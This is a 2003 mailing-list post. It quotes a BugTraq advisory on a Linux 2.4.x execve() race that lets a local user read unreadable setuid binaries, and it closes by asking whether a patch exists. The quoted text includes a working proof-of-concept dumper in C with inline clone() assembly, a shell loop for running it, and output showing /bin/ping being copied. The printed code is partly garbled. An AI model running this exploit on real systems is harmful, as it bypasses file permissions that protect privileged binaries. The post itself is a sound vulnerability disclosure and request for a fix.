[Execve race condition] Patch ??

From: Breno (brenosp@brasilsec.com.br)
Date: Tue Jul 01 2003 - 13:36:40 EST

To: BugTraq
Subject: Linux 2.4.x execve() file read race vulnerability
Date: Jun 26 2003 5:24PM
Author: Paul Starzetz <paul@starzetz.de>
Message-ID: <3EFB2C47.3030204@starzetz.de>
Hi people,

again it is time to discover a funny bug inside the Linux execve()
system call.


While looking at the execve() code I've found the following piece of
code (from fs/binfmt_elf.c):

static int load_elf_binary(struct linux_binprm * bprm, struct pt_regs *
    struct file *interpreter = NULL; /* to shut gcc up */


    retval = kernel_read(bprm->file, elf_ex.e_phoff, (char *)
elf_phdata, size);
    if (retval < 0)
        goto out_free_ph;

    retval = get_unused_fd();
    if (retval < 0)
        goto out_free_ph;
    fd_install(elf_exec_fileno = retval, bprm->file);

So, during the execution of new binary, the opened file descriptor to
the executable is put into the file table of the current (the caller of
execve()) process. This can be exploited creating a file sharing
parent/child pair by means of the clone() syscall and reading the file
descriptor from one of them.

Further, the check for shared files structure (in compute_creds() from
exec.c) is made to late, so even the parent can successfully exit after
playing games on that file descriptor and the child (if setuid) is
executed under full privileges. I wrote a simple setuid binary dump
utility so far, but further implications (due to the complexity of the
execve() syscall) may be possible...

Lets illustrate the vulnerability:

paul@buggy:~> ls -l /bin/ping
-rws--x--x 1 root root 29680 Oct 25 2001 /bin/ping

so the setuid ping binary can be only executed by anyone, but not read.

Now we start the suid dumper (while playing with the disk on another
console like cat /usr/bin/* >/dev/null) :

paul@buggy:~> while true ; do ./suiddmp /bin/ping -c 1 ; if
test $? -eq 1 ; then exit 1 ; fi; done 2>/dev/null | grep -A5 suc

and after few seconds:

Parent success stating:
uid 0 gid 0 mode 104711 inode 9788 size 29680
PING ( from : 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=64 time=94 usec

--- ping statistics ---

paul@buggy:~> ls -l
total 7132
-rwxr-xr-x 1 paul users 29680 Jun 26 19:17 suid.dump

paul@buggy:~> ./suid.dump
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

Obviously the setuid binary has been duplicated :-) (but with no setuid
flag of course).

Source also available at:



* *
* Linux 2.4.x suid exec/file read race proof of concept *
* by IhaQueR *
* *

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <fcntl.h>
#include <signal.h>

#include <sys/types.h>
#include <sys/stat.h>

#include <asm/page.h>

void fatal(const char *msg)
    if (!errno) {
 fprintf(stderr, "FATAL: %s\n", msg);
    } else {


int child(char **av)
    int fd;

    printf("\nChild running pid %d", getpid());

    execvp(av[0], av + 1);

    printf("\nFatal child exit\n");

void exitus(int v)
    printf("\nParent terminating (child exited)\n\n");

void usage(const char *name)
    printf("\nSuid exec dumper by IhaQueR\n");
    printf("\nUSAGE:\t%s executable [args...]", name);

int main(int ac, char **av)
    int p = 0, fd = 0;
    struct stat st, st2;

    if (ac < 2)

    av[0] = (char *) strdup(av[1]);
    av[1] = (char *) basename(av[1]);

    p = stat(av[0], &st2);
    if (p)

    signal(SIGCHLD, &exitus);
    printf("\nParent running pid %d", getpid());

    __asm__ (
             "pusha \n"
             "movl $0x411, %%ebx \n"
             "movl %%esp, %%ecx \n"
             "movl $120, %%eax \n"
             "int $0x80 \n"
             "movl %%eax, %0 \n"
             : : "m"(p)

    if (p < 0)

    if (!p)

    printf("\nParent stat loop");
    while (1) {
 p = fstat(3, &st);
 if (!p) {
     if (st.st_ino != st2.st_ino)
  fatal("opened wrong file!");

     p = lseek(3, 0, SEEK_SET);
     if (p == (off_t) - 1)
     fd = open("suid.dump", O_RDWR | O_CREAT | O_TRUNC | O_EXCL,
     if (fd < 0)
     while (1) {
  char buf[8 * PAGE_SIZE];

  p = read(3, buf, sizeof(buf));
  if (p <= 0)
  write(fd, buf, p);
     printf("\nParent success stating:");
     printf("\nuid %d gid %d mode %.5o inode %u size %u",
     st.st_uid, st.st_gid, st.st_mode, st.st_ino,


    return 0;

There is a patch ?

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